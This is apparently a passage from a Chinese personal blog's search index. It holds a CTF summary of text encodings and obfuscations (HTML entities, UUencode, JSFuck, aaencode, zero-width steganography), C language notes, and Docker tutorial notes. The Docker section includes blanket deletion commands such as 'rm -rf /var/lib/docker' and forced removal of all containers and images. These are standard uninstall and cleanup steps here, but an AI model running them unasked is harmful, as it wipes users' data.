[hex]:\\U+0068\\U+0065\\U+006C\\U+006C\\U+006F\\U+FF0C\\U+0077\\U+006F\\U+0072\\U+006C\\U+0064\\U+002E\n\nunicode16进制\nunicode\n常见\\u方式\nHTML实体编码字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。\n明文:hello,world.十进制:&#104;&#101;&#108;&#108;&#111;&#65292;&#119;&#111;&#114;&#108;&#100;&#46;十六进制:&#x68;&#x65;&#x6C;&#x6C;&#x6F;&#xFF0C;&#x77;&#x6F;&#x72;&#x6C;&#x64;&#x2E;\n\nHTML实体加解密1\nHTML实体加解密2\nEscape、Unescape编码(%u)Escape/Unescape加密解码/编码解码,又叫%u编码,其实就是字符对应UTF-16 16进制表示方式前面加%u。\nUnescape解码/解密就是去掉”%u”后,将16进制字符还原后,由utf-16转码到自己目标字符。如:字符”中”,UTF-16BE是:“6d93”,因此Escape是“%u6d93”,反之也一样。\n明文:hello,world.密文:%u0068%u0065%u006c%u006c%u006f%uff0c%u0077%u006f%u0072%u006c%u0064%u002e\n\nEscape编码/解码\nURL编码url编码又叫百分号编码,是统一资源定位(URL)编码方式。URL地址(常说网址)规定了常用地数字,字母可以直接使用,另外一批作为特殊用户字符也可以直接用(/,:@等),剩下的其它所有字符必须通过%xx编码处理。现在已经成为一种规范了,基本所有程序语言都有这种编码,如js:有encodeURL、encodeURIComponent,PHP有 urlencode、urldecode等。编码方法很简单,在该字节ascii码的的16进制字符前面加%如空格字符,ascii码是32,对应16进制是20,那么urlencode编码结果是:%20。\nURL加解密\nHex编码Hex全称是Intel HEX。Hex文件是由一行行符合Intel HEX文件格式的文本所构成的ASCII文本文件。在Intel HEX文件中,每一行包含一个HEX记录。这些记录由对应机器语言码和/或常量数据的十六进制编码数字组成。\n特征:\n十六进制(Hexadecimal)\n由0-9,A-F组成,字母不区分大小写\n与10进制的对应关系是:0-9不变,A-F对应10-15\n明文:hello,world.密文(带%):%68%65%6c%6c%6f%ef%bc%8c%77%6f%72%6c%64%2e密文(不带%):68656C6C6FEFBC8C776F726C642E\n\n不带%\n带%\n文本隐藏加密特征:\n加密过的密文会比原文的字节数多,当你按删除键的时候会发现某一处要按好多下才能把前面的字删掉\n原理:\n在密文中加入了不可见字符组成的编码,例如上述看似九个字符的一句话,通过字数查询可知它实际上有87个字符,多出的字符是由零宽空格实现的编码,因为零宽空格不占据空间,所以看不出它的存在。\n在进行文本隐藏加密时,将需要隐藏的文字写在括号中,就像这样“你好(有才华),我好喜欢你(画的画)!”,然后加密即可隐藏括号内的文字。同时可以设定一个密码,这样只有知道密码的人才能解密隐藏的文字。密码可以是数字、字母和下划线,最多九位。\n文本隐藏加密\n零宽隐写特征:\n解密后明文与密文会分开显示,密文一般隐藏在第一个字后面\n这里加密过的密文在文本隐藏加密中解不出来\n零宽隐写\njs专用加密JS颜文字加密特征:\n一堆颜文字构成的js代码,在F12中可直接解密执行\nJS颜文字加密\n解密在F12的console中\nJother编码jother是一种运用于javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式。\n特征:\n只用!+()[]{}这八个字符就能完成对任意字符串的编码。可在F12中解密执行\nJother\nJSFuck编码特征:\n与jother很像,只是少了{}\nJSFuck加密\n解密在F12的console中\nQuoted-printable编码它是多用途互联网邮件扩展(MIME)一种实现方式。有时候我们可以邮件头里面能够看到这样的编码。\n特征:\n任何一个8位的字节值可编码为3个字符:一个等号”=”后跟随两个十六进制数字(0–9或A–F)表示该字节的数值。\n明文:天上掉下了个猪八戒密文:=E5=A4=A9=E4=B8=8A=E6=8E=89=E4=B8=8B=E4=BA=86=E4=B8=AA=E7=8C=AA=E5=85=AB=E6=88=92\n\n在线编码\nXXencodeXXencode将输入文本以每三个字节为单位进行编码。如果最后剩下的资料少于三个字节,不够的部分用零补齐。这三个字节共有24个Bit,以6bit为单位分为4个组,每个组以十进制来表示所出现的数值只会落在0到63之间。以所对应值的位置字符代替。\n特征:\n字符范围是:0-9,A-Z,a-z一共64个字符。\n跟base64打印字符相比,就是UUencode多一个”-“字符,少一个”/“字符。\n明文:hello,world.密文:BO4JgP4yXf5RjQalY9U++\n\nUUencode加解密\nUUencodeUUencode是一种二进制到文字的编码,最早在unix邮件系统中使用,全称:Unix-to-Unix encoding,UUencode将输入文本以每三个字节为单位进行编码,如果最后剩下的资料少于三个字节,不够的部份用零补齐。三个字节共有24个Bit,以6-bit为单位分为4个组,每个组以十进制来表示所出现的字节的数值。这个数值只会落在0到63之间。然后将每个数加上32,所产生的结果刚好落在ASCII字符集中可打印字符(32-空白…95-底线)的范围之中。\n明文:hello,world.密文:,:&5L;&\\L=V]R;&0N\n\nUUencode1\nUUencode2\naaencode编码特征:\n将JS代码转换成常用的网络表情。\naaencode1\naaencode2\naaencode3\njjencode编码特征:\n将JS代码转换成只有符号的字符串。\njjencode加密\njjencode解密\nbrainfuck编码Brainfuck是一种极小化的计算机语言,按照”Turing complete(完整图灵机)”思想设计的语言,它的主要设计思路是:用最小的概念实现一种”简单”的语言。\n特征:\nBrainFuck语言只有八种符号,所有的操作都由这八种符号 (> < + - . , [ ]) 的组合来完成。\n明文:hello,world.密文:+++++ +++++ [->++ +++++ +++<] >++++ .---. +++++ ++..+ ++.<+ +++++ ++[->----- ---<] >---. <++++ ++++[ ->+++ +++++ <]>++ +++++ ++++. ----- ---.+++.-- ----. ----- ---.< +++++ ++[-> ----- --<]> ----- .<\n\nBrainfuck1\nBrainfuck2\nOok!编码它与Brainfuck完全相同,只是说明被改成了Orangutan单词。它代表了一长串Brainfuck命令替换中的第一个。因此,它是TrivialBrainfuckSubstitution编程语言家族的一员。\nOok!\n摩斯电码摩尔斯电码(Morse Code)是由美国人萨缪尔·摩尔斯在1836年发明的一种时通时断的且通过不同的排列顺序来表达不同英文字母、数字和标点符号的信号代码,摩尔斯电码主要由以下5种它的代码组成:\n\n点(.)\n划(-)\n每个字符间短的停顿(通常用空格表示停顿)\n每个词之间中等的停顿(通常用/划分)\n以及句子之间长的停顿\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nA .-\nB -…\nC -.-.\nD -..\nE .\nF ..-.\nG –.\nH ….\nI ..\nJ .—\n\n\nK -.-\nL .-..\nM –\nN -.\nO —\nP .–.\nQ –.-\nR .-.\nS …\nT -\n\n\nU ..-\nV …-\nW .–\nX -..-\nY -.–\nZ –..\n0 —–\n1 .—-\n2 ..—\n3 …–\n\n\n4 ….-\n5 …..\n6 -….\n7 –…\n8 —..\n9 —-.\n. .-.-.-\n, –..–\n? ..–..\n- -….-\n\n\n= -…-\n: —…\n; -.-.-.\n( -.–.\n) -.–.-\n/ -..-.\n“ .-..-.\n$ …-..-\n‘ .—-.\n¶ .-.-..\n\n\n_ ..–.-\n@ .–.-.\n! —.\n! -.-.–\n+ .-.-.\n~ .-…\n# …-.-\n& . …\n⁄ -..-.\n\n\n\n特征:\n由 . - “空格” / 表示。\n莫斯电码1\n莫斯电码2\n社会主义编码特征:\n字符全部是社会主义核心价值观。\n社会主义编码\n与佛论禅特征:\n密文以”佛曰:”开头,密文一般是与关佛经的汉字\n与佛论禅\n新与佛论禅新约佛论禅加密算法,简称”新佛曰”。相较于佛曰算法而言,在链接加密方面拥有更高的压缩率。\n特征:\n密文以”新佛曰:”开头,密文一般是与关佛经的汉字\n新与佛论禅\n百家姓暗号百家姓\n卡尔达诺栅格码特征:\n把明文伪装成垃圾邮件\n解密\n文本加密为汉字解密\n汉信码汉信码与现有二维码相比较,具有如下特点:\n\n汉字编码能力强:支持GB18030中规定的160万个汉字信息字符,采用12位二进制数进行表示,在现有的二维码中表示汉字效率最高。\n\n信息容量大:最多可表示7829个数字、4350个ASCII字符、2174个汉字、3262个8位字节信息\n\n编码范围广:可以对照片、指纹、掌纹、签字、声音、文字等数字化信息进行编码。\n\n抗污损、抗畸变识读能力强:能够容忍较大面积的符号污损,特别适合在恶劣条件下使用。\n\n具备纠错能力:具备四种纠错等级:8%、15%、23% 、30%,不输QR码。\n\n识读速度快:汉信码的识读速度比国际上的主流二维码DataMatrix还要高。\n\n\n\n汉信码\nWhitespace加密大多数的编程语言都会忽略代码中的空白字符,”Whitespace”是专门来弥补普通编程语言,它给予这些空白字符最重要的地位。\n在”Whitespace”编程语言中,任何非空白的字符都是被忽略的,只有空格符、tab和换行符被认为是有效的语义字符。\nWhitespace\n后端代码加密PHP:乱码,头部有信息\n.NET:DLL封装代码文件(dnSpy、ILSpy)\nJAVA:JAR&CLASS文件\n举例:Zend ILSpy IDEA\n应用场景:版权代码加密,开发特性等\n","tags":["CTF","summary"]},{"title":"C语言","url":"/2024/04/14/C%E8%AF%AD%E8%A8%80/","content":"程序设计入门——C语言\nC语言程序设计进阶\n\n优先级赋值运算符<条件运算符<关系运算符<算术运算符\n\n\n\n优先级\n运算符\n结合性\n\n\n\n1\n()\n从左到右\n\n\n2\n! + - ++ –\n从右到左单目的+和-\n\n\n3\n* / %\n从左到右\n\n\n4\n+ -\n从左到右\n\n\n5\n< <= > >=\n从左到右\n\n\n6\n== !=\n从左到右\n\n\n7\n&&\n从左到右\n\n\n8\n||\n从左到右\n\n\n9\n= += -= *= /= %=\n从右到左\n\n\n不要把赋值、包括复合赋值组合进表达式\n分支结构switch-case\nswitch(表达式){ case 常量: break; default: }\n\n\nbreak:跳出循环\n\ncontinue:跳过循环这一轮剩下的语句进入下一轮\n\ngoto:多重循环的内层跳到最外面的时候(但是少用)\n\n\n\tgoto out;\t···out:\treturn 0;\n\n循环while语句是一个循环语句,它会首先判断一个条件是否满足,如果条件满足,则执行后面紧跟着的语句或语句括号,然后再次判断条件是否满足,如果条件满足则再次执行,直到条件不满足为止。后面紧跟的语句或语句括号,就是循环体。\n\ndo-while循环和while循环很像,唯一的区别是我们在循环体执行结束的时候才来判断条件。也就是说,无论如何,循环都会执行至少一遍,然后再来判断条件。与while循环相同的是,条件满足时执行循环,条件不满足时结束循环。 \n布尔运算#include <stdbool.h>\n\n之后就可以使用bool和true、false\n#include <stdbool.h>bool b=6>5;bool c=true;printf("%d\\n",b);\n\n数组int number[100];int a[]={1,4,5,63,27,8,6,2,9,8,23,7}\n\n数组变量本身表达地址,所以\n\nint a[10];int *p=a;//无需用&取地址\n\n但是数组的单元表达的是变量,需要用&取地址\n\na==&a[0]\n\n[]运算符可以对数组做,也可以对指针做:\n\np[0]<==>a[0]\n\n*运算符可以对指针做,也可以对数组做:\n\n*a=25;\n\n数组变量是const的指针,不能被赋值\n\nint a[]<==>int * const a=\n\n\n>int i>const int* p1=&i;>int const* p2=&i;>int *const p3=&i;\n\n判断哪个被const了的标志是const在*的前面还是后面\n\n\n格式控制符的形式\n\n%、[-]、[0]、[m/m.n]、[l/h]格式控制符\n其中[ ]里面的内容是可选的\n\n-:表示左对齐,缺省情况下为右对齐(若没规定输出数据的宽度则为左对齐)。\n\n0:当规定输出数据的宽度时,所输出数据实际的宽度小于规定的宽度,则在左边用“0”补齐。\n\nm/m.n:m规定了输出数据的宽度(位数),若数据实际的宽度大于m,则突破m的限制全部输出,反之将数据全部输出之后用空格进行左补齐;对于实数n是指小数点后的位数,若n小于小数点后实际的位数,则按四舍五入原则进行截取;对于字符串,n表示从左至右截取的字符个数。\n\nl/h:l表示长整型数据(可用于%ld、%lo、%lx、%lu)以及double型数据(%lf或%le);h表示短整型数据(可用于%hd、%ho、%hx)。\n\n\n\n格式控制符及其功能(以输出为例)\n\n\n%d:用来输出有符号的十进制整数(包括char类型)\n%u:用来输出无符号的十进制整数(包括char类型)\n%o:用来输出无符号的八进制整数(比如输出*p的值(*p指向a则输出a的地址))\n%x:用来输出无符号的十六进制整数\n%c:用来输出单个字符\n%s:用来输出一个字符串(%和s之间加数字控制只读这么多数字)\n%f:用来输出小数形式的十进制浮点数(输入时小数形式和指数形式都可以识别)\n%e:用来输出指数形式的十进制浮点数(输入时小数形式和指数形式都可以识别)\n%g:用来输出指数形式和小数形式两者中较短的十进制浮点数(输入时小数形式和指数形式都可以识别)\n%p:用来输出值的地址\n\n字符串函数#include <string.h>\n\n\nstrlen(字符数组):返回字符串的长度(不包括结尾的\\0)\n\nstrcmp(str1,str2):按ASCII码值大小比较两个字符串,出现不相同的字符以第一对不相同的字符比较结果为准并返回:\n\n0:s1==s2\n正整数:s1>s2\n负整数:s1<s2\n\n\nstrcpy(str1,str2):把后者的字符串覆写拷贝到前者\nstrncpy(str1,str2,n):将str2的前n个字符复制到str1中。\n\nstrcat(str1,str2):把后者的字符串拷贝到前者的后面,接成一个长的字符串\n\nstrchr:在一个字符串中查找给定字符的第一个匹配之处,返回null表示没找到\n\nstrstr:判断字符串后者是否是前者的子串。如是则返回前者字符串从后者第一次出现的位置开始到结尾,否则返回null\n\nstrlwr(字符串):将字符串中的大写字母换成小写字母\n\nstrupr(字符串):将字符串中的小写字母换成大写字母\n\n\n变量的存储方式和生存期存储空间分为三部分:\n\n程序区\n\n静态存储区\n\n全局变量\n\n\n动态存储区\n\n函数形参:在调用函数时给形参分配存储空间\n函数中定义的没有用关键字static声明的变量(自动变量)\n函数调用时的现场保护和返回地址等\n\n\n\n局部变量的存储类别\n自动变量(auto变量)\n\n(auto) int a=0;\n\n\n寄存器变量(register变量)(现在用register声明变量的必要性不大)\n\n为提高使用效率将使用频繁的局部变量值放在CPU的寄存器中\nregister int a;\n\n\n全局变量的存储类别\n\n全局变量的作用域有以下几种情况:\n\n在一个文件内拓展外部变量的作用域\n\n用extern作外部变量声明,表示该外部变量的作用域拓展到此位置(但是提倡将外部变量的定义放在引用它的所有函数前,可避免在函数中多加一个extern声明)\n#include<stdio.h>int main(){ int max();//因AB是外部变量,所以调用max时用不到参数传递 extern int A,B; printf("max is %d",max());}int A,B;int max(){ return (A>B?A:B)}\n\n\n将外部变量的作用域拓展到其他文件\n\n将外部变量的作用域限制在本文件中\n\n\n某些外部变量只限于被本文件引用,而不能被其他文件引用,这时可在定义外部变量时加一个static声明\n动态内存分配#include <stdlib.h>\n\n\nmalloc(size):在内存的动态存储区中分配一个长度为size字节的连续空间(用完要free)\ncalloc(n,size):分配n个长度为size的连续空间(保存数组时常用)\nrealloc(p,size):将p所指向的动态空间大小改为size,p值不变\nfree(p):释放动态存储区\n\n内部函数&外部函数\n内部函数\n\n一个只能被本文件中其他函数所调用的函数,在定义内部函数时在函数名和函数类型前加static\n\n外部函数\n\n可供其他文件调用的函数,在函数首部的最左端加关键字extern(定义函数时省略extern则默认为是外部函数)\n指针int a=1,b=2;int *p1=&a;int *p2;p2=&b;\n\n*(arr+i)和arr[i]无条件等价\n\n\n\n实参类型\n要求形参的类型\n传递的信息\n通过函数调用能否改变实参的值\n\n\n\n变量名\n变量名\n变量的值\n不能\n\n\n数组名\n数组名或指针变量\n实参数组首元素的地址\n能\n\n\n\n通过指针引用数组\n\n\n如果用指针变量作实参,必须先使指针变量有确定值,指向一个已定义的对象。\n\n通过指针引用字符串:\nchar *str="hello";\n\n指向函数的指针\nint (*p)(int);//不可省略*p两边的括号!\n\n指针变量的类型及含义\n\n\n结构体struct 结构体名{ ...};struct Example eg1,eg2;\n\n枚举enum 枚举类型名字{名字0,…,名字n};\n\n声明枚举量也可以指定值\n\n和数组不同,结构变量的名字并不是结构变量的地址,必须使用&运算符\n文件读写fopen(文件名,使用文件方式);\nfopen("a1","r");\n\n使用文件方式\n\n\n常用下面方法打开一个文件\nif((fp=open("file1","r"))==NULL){ printf("can't open file\\n"); exit(0);}\n\nfclose关闭数据文件\n读写一个字符的函数\n\n\n读写一个字符串的函数\n\n\n易混淆\n\n\n表达式\n值\n\n\n\na++\na原来的值\n\n\n++a\na+1以后的值\n\n\na–\na原来的值\n\n\n–a\na-1以后的值\n\n\n++a:先加再用\na++:先用再加\n杂项\n随机数的生成\n\n#include <stdlib.h>#include <time.h>srand(time(0));int num=rand();\n\n","tags":["技术栈"]},{"title":"Docker","url":"/2024/04/14/Docker/","content":"Docker官网:https://www.docker.com/\n文档地址:https://docs.docker.com/\n仓库地址:https://hub.docker.com/\n==容器化技术不是模拟完整的一个操作系统==\n架构\n镜像(Image):Dockers镜像(Image),相当于是一个root文件系统,比如官方镜像Ubuntu 16.04就包含了一套Ubuntu 16.04最小系统的root文件系统,好比是一个模板,通过这个镜像可以创建容器服务,tomcat ==> run ==>tomcat01容器(提供服务的)通过这个镜像可以创建多个容器\n容器(Container):镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例一样,镜像是静态的定义,容器是镜像运行时的实体。容器可以被创建,启动,停止,删除,暂停等\n仓库(Repository):仓库可以看成一个代码控制中心,用来保存镜像。分为共有仓库和私有仓库\n\nDocker使用Client-Server(C/S)架构模式,使用远程API来管理和创建Docker容器。\nDocker容器通过Docker镜像来创建。\n容器与镜像的关系类似于面向对象编程中的对象和类\n安装\n卸载旧的版本\n\nyum remove docker \\ docker-client \\ docker-client-latest \\ docker-common \\ docker-latest \\ docker-latest-logrotate \\ docker-logrotate \\ docker-engine\n\n\n需要的安装包\n\nyum install -y yum-utils\n\n\n设置镜像仓库\n\nyum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo\n\n\n更新yum包索引\n\nyum makecache fast\n\n\n安装Docker\n\nyum install docker-ce docker-ce-cli containerd.io\n\n\n启动Docker\n\nsystemctl start docker\n\n\n检查是否安装成功\n\ndocker version\n\n\n测试hello world\n\ndocker run hello-world\n\n\n查看镜像\n\ndocker images\n\n\n配置阿里云镜像加速\n\n\n登录-容器镜像服务-镜像加速器\nsudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{"registry-mirrors": ["https://l3r9ab0o.mirror.aliyuncs.com"]}EOFsudo systemctl daemon-reloadsudo systemctl restart docker\n\n\n卸载Docker\n\n卸载依赖\n\nyum remove docker-ce-cli containerd.io\n\n\n删除运行环境\n\nrm -rf /var/lib/docker# /var/lib/docker Docker默认工作路径\n\n\n命令帮助文档地址:https://docs.docker.com/reference/\n帮助命令docker version #显示docker版本信息docker info #显示docker系统信息,包括镜像和容器的数量docker 命令 --help #帮助命令\n\n镜像命令\ndocker images:查看主机本地上的镜像\n-a:列出所有镜像\n-q:只显示镜像id\n\n\ndocker search 镜像名:搜索镜像\n– filter=过滤的条件=具体的值:设置过滤选项\n\n\ndocker pull 镜像名:下载镜像\n:tag:下载指定版本\n\n\n\n[root@jackie /]# docker pull mysql:5.75.7: Pulling from library/mysql72a69066d2fe: Pull complete #分层下载,docker image的核心 联合文件系统93619dbc5b36: Pull complete 99da31dd6142: Pull complete 626033c43d70: Pull complete 37d5d7efb64e: Pull complete ac563158d721: Pull complete d2ba16033dad: Pull complete 0ceb82207cd7: Pull complete 37f2405cae96: Pull complete e2482e017e53: Pull complete 70deed891d42: Pull complete Digest: sha256:f2ad209efe9c67104167fc609cca6973c8422939491c9345270175a300419f94 #签名(防伪)Status: Downloaded newer image for mysql:5.7docker.io/library/mysql:5.7 #真实地址#等价于↓docker pull docker.io/library/mysql:5.7\n\n\ndocker rmi 镜像id:删除镜像\n-f:强制删除\n\n\n\ndocker rmi -f $(docker images -aq)#删除全部容器($把括号内的值传过去)\n\n容器命令\n有了镜像才可创建容器\n\n\ndocker run [可选参数] image:创建并运行容器\n–name=”Name”:设置容器名字来区分容器\n-d:以后台方式运行\n-it:使用交互方式运行,进入容器查看内容\n-p:端口映射\n-p 主机端口:容器端口\n-p ip:主机端口:容器端口\n-p 容器端口\n容器端口\n\n\n-P:随机指定端口\n–rm:容器用完即删(用来测试)\n-v:卷挂载\n-e:环境配置\n\n\n\n容器内的是基础,很多命令不完善\n进入容器后exit 从容器中退回到主机\n\nCtrl+P+Q容器不停止退出\n\n\ndocker ps:查看当前正在运行的容器\n-a:列出当前正在运行的容器+历史运行过的容器\n-n=?:显示最近创建的容器\n-q:只显示容器编号\n\n\ndocker rm 容器id:删除指定的容器(无法直接删除运行中的容器)\n\n#两者均可删除所有容器docker rm -f $(docker ps -aq)docker ps -a -q|xargs docker rm\n\n\ndocker start 容器id:启动容器\ndocker restart 容器id:重启容器\ndocker stop 容器id:停止当前正在运行的容器\ndocker kill 容器id:强制停止当前容器\n\n\nstop 会给容器内应用10s时间去停止服务,kill直接强行停止\n删除容器指的是删除这个实例,kill指的是关闭正在运行的容器,实例仍旧存在\n\n※常用其他命令\n后台启动容器\n\n# 命令 docker run -d 镜像名docker run -d centos#坑:docker ps 发现centos停止了,docker容器使用后台运行,必须有前台进程,否则自动停止\n\n\ndocker logs:查看日志信息\n\n-tf:t显示时间戳;f动态显示\n–tail number:要显示的日志条数\n\n\ndocker top 容器id:查看容器中进程信息\n\n\n\npid:当前进程id;ppid:父进程id\n\n\ndocker inspect 容器id:查看镜像元数据\n\ndocker exec -it 容器id bashshell:进入容器后打开一个新的终端,==可以在里面操作==\n\n\n\n通常容器都是使用后台方式运行的,需要进入其中的容器修改一些配置\ndocker exec -it 容器id /bin/bash\n\n\ndocker attach 容器id bashshell:进入容器正在执行的终端,==不会启动新的进程==\ndocker cp 容器id:容器内路径 目的主机路径: 从容器内拷贝文件到主机上\n\n\n小汇总\n\n\n\n\n命令\n说明\n\n\n\nattach\n当前shell下attach连接指定运行镜像\n\n\nbuild\n通过dockerfile定制镜像\n\n\ncommit\n提交当前容器为新的镜像\n\n\ncp\n从容器中拷贝指定文件或目录到宿主机中\n\n\ncreate\n创建一个新的容器,同run,但不启动容器\n\n\ndiff\n查看docker容器变化\n\n\nevents\n从docker服务获取容器实时事件\n\n\nexec\n在已存在的容器上运行命令\n\n\nexport\n导出容器的内容流作为一个tar归档文件(对应import)\n\n\nhistory\n展示一个镜像形成历史\n\n\nimages\n列出系统当前镜像\n\n\nimport\n从tar包中的内容创建一个新的文件系统映像(对应export)\n\n\ninfo\n显示系统相关信息\n\n\ninspect\n查看容器详细信息\n\n\nkill\nkill指定的docker容器\n\n\nload\n从一个tar包中加载一个镜像(对应save)\n\n\nlogin\n注册或者登录一个docker源服务器\n\n\nlogout\n从当前docker registry退出\n\n\nlogs\n输出当前容器日志信息\n\n\nport\n查看映射端口对应的容器内部源端口\n\n\npause\n暂停容器\n\n\nps\n列出容器列表\n\n\npull\n从docker镜像源服务器拉取指定镜像或者库镜像\n\n\npush\n推送指定镜像或者库镜像至docker源服务器\n\n\nrestart\n重启运行的容器\n\n\nrm\n移除一个或者多个容器\n\n\nrmi\n移除一个或多个镜像(无容器使用该镜像才可以删除,否则需删除相关容器才可继续或-f强制删除\n\n\nrun\n创建一个新的容器并运行一个命令\n\n\nsave\n保存一个镜像为一个tar包(对应load)\n\n\nsearch\n在docker hub中搜索镜像\n\n\nstart\n启动容器\n\n\nstop\n停止容器\n\n\ntag\n给源中镜像打标签\n\n\ntop\n查看容器中运行的进程信息\n\n\nunpause\n取消暂停容器\n\n\nversion\n查看docker版本号\n\n\nwait\n截取容器停止时的退出状态值\n\n\n卷命令\ndocker volume create 卷名:创建数据卷\ndocker volume ls:查看所有的数据卷\ndocker volume inspect 卷名:查看指定数据卷的信息\ndocker volume rm 卷名:删除数据卷\n\n无法删除正在被使用的、容器存在的\n\ndocker rm -v …:删除容器时删除相关的卷\n\n数据卷是被设计用来持久化数据的,它的生命周期独立于容器,Docker 不会在容器被删除后自动删除数据卷,并且也不存在垃圾回收这样的机制来处理没有任何容器引用的数据卷 。如果需要在删除容器的同时移除数据卷。可以在删除容器的时候使用 docker rm -v 这个命令。无主的数据卷可能会占据很多空间,要清理请使用以下命令\ndocker volume prune\n\n工作流程\ndocker build\n\n当我们写完dockerfile交给docker“编译”时使用这个命令,那么client在接收到请求后转发给docker daemon,接着docker daemon根据dockerfile创建出“可执行程序”image。\n![docker build](docker build.png)\n\ndocker run\n\n有了“可执行程序”image后就可以运行程序了,接下来使用命令docker run,docker daemon接收到该命令后找到具体的image,然后加载到内存开始执行,image执行起来就是所谓的container。\n![docker run](docker run.png)\n\ndocker pull\n\ndocker中image的概念就类似于“可执行程序“,docker registry 可以用来存放各种image,公共的可以供任何人下载image的仓库就是docker Hub。那么该怎么从Docker Hub中下载image呢,就是这里的docker pull命令了。\n![docker pull](docker pull.png)\n镜像讲解镜像是什么镜像是一种轻量级、可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件,它包含运行某个软件所需的所有内容,包括代码、运行时、库、环境变量和配置文件。\nDocker镜像加载原理\nUnionFS(联合文件系统/UFS)\n\n==我们下载时看到的一层层就是这个==\nUnionFS(联合文件系统):Union文件系统是一种分层,轻量级并且高性能的文件系统,它支持堆文件系统的修改作为一次提交来一层层的叠加,同时可以将不同目录挂载到同一个虚拟文件系统下(unite several directories into a single virtual filesystem)。Union文件系统是Docker镜像的基础,镜像可以通过分层来继承,基于基础镜像(没有父镜像),可以制作各种具体的应用镜像。\n特性:一次同时加载多个文件系统,但从外面看起来,只能看到一个文件系统,联合加载会把各层文件系统叠加起来,这样最终的文件系统会包含所有底层的文件和目录\n\nDocker镜像加载原理\n\nDocker的镜像实际上由一层一层的文件系统组成,这种层级的文件系统UnionFS。\n==bootfs==(boot file system)主要包含bootloade和kernel,bootloader主要是引导加载kernel,Linux刚启动是会加载bootfs文件系统,在Docker镜像的最底层是引导文件系统bootfs,这一层与我们典型的Linux/Unix系统是一样的,包含boot加载器和内核,当boot加载完成之后整个内核就都在内存中了,此时内存的使用权已由bootfs转交给内核,此时系统也会卸载bootfs\nrootfs(root flie system)在bootfs之上,包含的就是典型Linux系统中的/dev /proc /bin /etc等标准目录和文件,rootfs就是各种不同的操作系统发行版,比如Ubuntu,Centos等\n\n总结,Docker就是一个简易版的Linux,所有的镜像都公用宿主机的bootfs,根据rootfs的不同就是不同的Linux发行版本如centos、ubuntu等,而镜像就是在rootfs上面,容器就是最上面的container,Docker为什么分层,就是为了复用底层,所以就会很快,很方便\n具体例子,假设我们在Centos下安装了docker,然后使用Docker拉下了一个ubuntu镜像,运行ubuntu镜像,里面是没有vim命令的,那么我们在镜像里面安装了vim,然后使用commit提交容器使之成为一个新的镜像,那么这个新的ubuntu镜像就分为一下几层:\n\nbootfs层\nrootfs层\nubuntu层\nvim层\ncontainer层\n\n对于一个极简的OS,rootfs可以很小没只需要包含最基本的命令,工具,程序库就可以了,因为底层直接用host的kernel,自己只需提供rootfs就可以了。于此可见对于不同的Linux发行版,bootfs基本是一致的,rootfs会有差异,因此不同的发行版可以公用bootfs\n分层理解Q:Docker采用分层的结构的好处?\nA:资源共享\t例如有多个镜像都从相同的base镜像构建而来,则宿主机只需在磁盘上保留一份base镜像,同时内存中也只需要加载base镜像,这样就可以为所有的容器服务,且镜像的每一层都可以共享。\n理解:\n所有的docker镜像都起源于一个基础镜像层,当进行修改或增加信的内容是,就会在当前镜像层之上,创建新的镜像层。\n举一个简单的例子,假如基于Ubuntu linux16.04创建一个新的镜像,这就是新镜像的第一层;如果在该镜像中添加python包,就会在基础镜像层之上创建第二个镜像层,如果继续添加一个安全补丁,就会创建第三个镜像层,该镜像当前已经包含3个镜像层,如图所示\n\n在添加额外的镜像层的同时,镜像始终保持是当前所有镜像的组合\n\n\n在外部看来整个镜像只有6个文件,这是因为最上层的文件7是文件5的更新版\n\n这种情况下,上层镜像层中的文件覆盖了底层镜像层中的文件。这样就使得文件的更新版本作为一个新镜像层作为一个新镜像层添加到镜像当中。\nDocker通过存储引擎(新版本采用快照机制)的方式来实现镜像层堆栈,并保证多镜像层对外展示为统一的文件系统。\nLinux上可用的存储引擎有AUFS、Overlay2、Device Mapper、Btrfs以及ZFS。顾名思义,每种存储引擎都基于Linux中对应的文件系统或者块设备技术,并且每种存储引擎都有其独有的性能特点\nDocker在Windows上仅支持Windowsfilter一种存储引擎,该引擎基于NTFS文件系统之上实现了分层和CoW[1]\n下图展示了与系统显示相同的三层镜像。所有镜像层堆叠并合并,对外提供统一的视图\n\n\n特点\n\nDocker镜像默认都是只读的,当容器启动时,一个新的可写层被加载到镜像的顶部\n这一层就是我们通常说的容器层,容器之下都叫镜像层\n\ncommit镜像# docker commmit 提交容器成为一个新的副本docker commit -a="作者" -m="镜像描述" 容器id 目标镜像名:[TAG]\n\n容器数据卷Docker将运用与运行的环境打包形成容器运行, Docker容器产生的数据,如果不通过docker commit生成新的镜像,使得数据做为镜像的一部分保存下来, 那么当容器删除后,数据自然也就没有了。 为了能保存数据在Docker中我们使用卷。|\n卷就是目录或文件,存在于一个或多个容器中,由Docker挂载到容器,但卷不属于联合文件系统(Union FileSystem),因此能够绕过联合文件系统提供一些用于持续存储或共享数据的特性:。\n卷的设计目的就是数据的持久化,完全独立于容器的生存周期,因此Docker不会在容器删除时删除其挂载的数据卷。\nDocker容器卷的工作就是将Docker容器数据通过映射进行备份+持久化到本地的主机目录\n\n直接使用命令来挂载\ndocker run -it -v 主机目录:容器内目录 docker run -it -v /home/ceshi:/home centos /bin/bash\n\n\ndocker inspect 容器id 其中的mounts(挂载)可查看相关信息\n\n具名挂载&匿名挂载\n匿名挂载\n\n-v 容器内路径\n\n所有docker容器内的卷,没有指定目录的情况下都是在==/var/lib/docker/volumes/xxx/_data/==\n\n具名挂载\n\n-v 卷名:容器内路径\n\n\n指定路径挂载\n\n-v /宿主机路径::容器内路径\n\n\n拓展:\n#通过-v 容器内路径:ro/rw改变读写权限ro\treadonly #只读rw readwrite #可读可写#一旦这个了设置了容器权限,容器对我们挂载出来的内容就有了限定docker run -d -p --name nginx02 -v juming-nginx : /etc/nginx:ro nginxdocker run -d -p --name nginx02 -v juming-nginx : /etc/nginx:rw nginx# ro:只要看到ro就说明这个路径只能通过宿主机来操作,容器内部无法操作\n\n容器卷容器容器数据卷是指建立数据卷,来同步多个容器间的数据,实现容器间的数据同步。\n# 创建docker01docker run -it --name docker01 jackie/centos:latest# 查看容器docekr01内容lsbin home 